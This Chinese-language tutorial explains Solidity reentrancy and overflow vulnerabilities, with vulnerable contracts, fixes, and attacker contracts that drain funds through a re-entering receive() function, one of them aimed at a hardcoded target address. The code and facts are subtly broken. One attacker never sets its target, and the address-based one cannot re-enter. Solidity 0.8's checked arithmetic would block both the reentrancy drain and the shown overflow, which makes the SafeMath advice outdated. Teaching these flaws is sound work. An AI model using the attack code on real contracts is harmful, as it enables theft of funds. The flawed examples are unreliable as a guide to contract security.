1、重入攻击(Reentrancy At*tack)
攻击者通过在合约调用中途调用另一个合约,来反复执行攻击合约中的代码,从而导致合约状态异常。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 合约1:易受重入攻击的合约
contract VulnerableContract {
// 用户余额映射
mapping(address => uint) public balances;
// 用户提款函数
function withdraw(uint _amount) public {
// 检查用户余额
require(balances[msg.sender] >= _amount, "Insufficient balance");
// 执行提款操作
(bool success, ) = msg.sender.call{
value: _amount}("");
require(success, "Transfer failed");
// 更新用户余额
balances[msg.sender] -= _amount;
}
}
// 合约2:攻击者合约
contract Attacker {
// 易受攻击的合约实例
VulnerableContract public vulnerableContract;
// 攻击函数
function attack() public payable {
// 调用易受攻击的合约提款函数
vulnerableContract.withdraw(1 ether);
}
// 回退函数,允许攻击者再次调用易受攻击的合约
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
vulnerableContract.withdraw(1 ether);
}
}
}
如果知道对方合约地址可以根据下面方法来操作
// 合约接口,包含对方合约的方法签名
interface IVulnerableContract {
function withdraw(uint _amount) external;
}
// 攻击者合约
contract Attacker {
// 对方合约的地址
address public vulnerableContractAddress = 0x1234567890123456789012345678901234567890;
// 对方合约的接口
IVulnerableContract public vulnerableContract;
// 构造函数,设置对方合约的接口
constructor() {
vulnerableContract = IVulnerableContract(vulnerableContractAddress);
}
// 攻击函数
function attack() public payable {
// 调用对方合约的提款函数
vulnerableContract.withdraw(1 ether);
}
}
上述合约中VulnerableContract 是一个接口,包含了对方合约的withdraw方法的签名。在构造函数中,攻击者合约创建了一个对方合约的接口实例,并将对方合约的地址传递给了这个实例。然后,攻击者合约就可以使用这个接口来调用对方合约的方法。
请注意,这种方法仍然需要确保你了解对方合约方法的签名,以便正确创建接口。此外,这样的调用依赖于对方合约的方法是否对外部调用开放,否则将无法调用。在实际情况中,确保你的操作合法并符合对方合约的预期使用是至关重要的。
防范方法:使用模式“检查-生效-互操作”(Check-Effect-Interact)。
// 合约3:使用“检查-生效-互操作”模式的安全合约
contract SecureContract {
// 用户余额映射
mapping(address => uint) public balances;
// 用户提款锁定状态映射
mapping(address => bool) public locked;
// 安全的用户提款函数
function withdraw(uint _amount) public {
// 检查提款是否被锁定
require(!locked[msg.sender], "Withdrawal is locked");
// 检查用户余额
require(balances[msg.sender] >= _amount, "Insufficient balance");
// 锁定提款
locked[msg.sender] = true;
// 更新用户余额
balances[msg.sender] -= _amount;
// 执行提款操作
(bool success, ) = msg.sender.call{
value: _amount}("");
require(success, "Transfer failed");
// 解锁提款
locked[msg.sender] = false;
}
}
2、溢出和下溢出(Overflow and Underflow)
溢出和下溢出可能导致计算错误,给攻击者提供了执行未预期操作的机会。
pragma solidity ^0.8.0;
contract VulnerableMath {
uint public maxUint = type(uint).max;
function add(uint _a, uint _b) public pure returns (uint) {
return _a + _b;
}
function subtract(uint _a, uint _b) public pure returns (uint) {
return _a - _b;
}
}
防范方法:使用 SafeMath 库可以确保在进行加法和减法运算时不会发生溢出和下溢出。
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SafeMathExample {
using SafeMath for uint;
uint public maxUint = type(uint).max;
function safeAdd(uint _a, uint _b) public pure returns (uint) {
return _a.add(_b);
}
function safeSubtract(uint _a, uint _b) public pure returns (uint) {
return _a.sub(_b);
}
}